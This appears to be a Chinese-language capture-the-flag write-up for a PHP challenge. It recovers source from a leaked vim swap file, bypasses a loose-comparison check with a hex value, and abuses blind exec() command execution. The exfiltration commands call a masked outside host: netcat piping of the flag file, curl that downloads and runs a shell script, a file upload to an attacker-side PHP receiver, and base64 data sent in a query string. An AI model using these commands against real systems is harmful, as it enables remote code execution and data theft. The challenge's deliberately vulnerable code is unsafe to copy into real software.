WP
首先进入环境,有两种方式得到源码。一种是直接dirsearch扫,扫出存在.index.php.swp,第二种是f12看源码,发现:
暗示可能存在vim源码泄露,也能猜到.index.php.swp。
下载下面,vim -r index.php.swp,就可以复原文件,得到index.php的源码:
<?php
/*
flag in flag233.php
*/
function check($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
setcookie('auth','tcp tunnel is forbidden!');
if(isset($_POST['cmd'])){
$command=$_POST[cmd];
$result=exec($command);
//echo $result;
}
}else{
die('no sign');
}
首先是check函数的绕过。因为是弱类型比较,我们可以用十六进制来绕过,让sign=0xabcdef,要注意的是,不要用hackbar上的十六进制来搞。
接下来就是命令执行了。因为仅仅用了exec,所以没有回显,不能直接得到flag的内容。
我的方法和网上的WP不太一样。
先在自己的主机下面写一个1.sh,内容如下:
cat flag233.php | nc xxx.xx.xxx.xxx 39009
然后
接下来命令执行:
curl xxx.xx.xxx.xxx/1.sh > /tmp/1.sh
bash /tmp/1.sh
成功得到flag。
需要注意的是,你curl访问的端口是你真正的放文件的端口,比如我这里的端口是80,但是nc监听的是39009。
在网上找WP,看了另外几种方法:
第一种方法用了一个python脚本进行sleep() 进行 类似sql盲注那种。
感觉这样挺麻烦的,就没弄。
第二种方法是本机:nc -ulp 8888 远程:nc -u ip port < flag223.php //这里就是一个反向输出
这种我经过尝试,发现不行,但是网上很多WP都是这样得到flag的,应该是题目环境有了问题。
第三种方法是也是用curl,姿势如下:
现在本地写一个接受的php文件:
<?php
$feng=$_FILES['feng']['tmp_name'];
move_uploaded_file($feng,'feng.txt'); //把上传的文件移动到feng.txt
?>
然后命令执行:
cmd=curl xxx.xx.xxx.xxx/2141weda.php -F "feng=@flag233.php"
然后访问feng.txt,就可以成功得到flag。
第四种方法相当于先得到flag的内容,然后把内容当成get参数进行访问,这时候访问的记录在日志文件里,去访问日志文件就可以得到flag。
cmd=data=$(cat flag233.php|base64);curl xxx.xx.xxx.xxx?a=$data
使用了base64是因为直接传输可能会因为某些字符而中断。
上面是没使用base64而中断的,下面是正常的:
然后base64解码就可以得到flag了。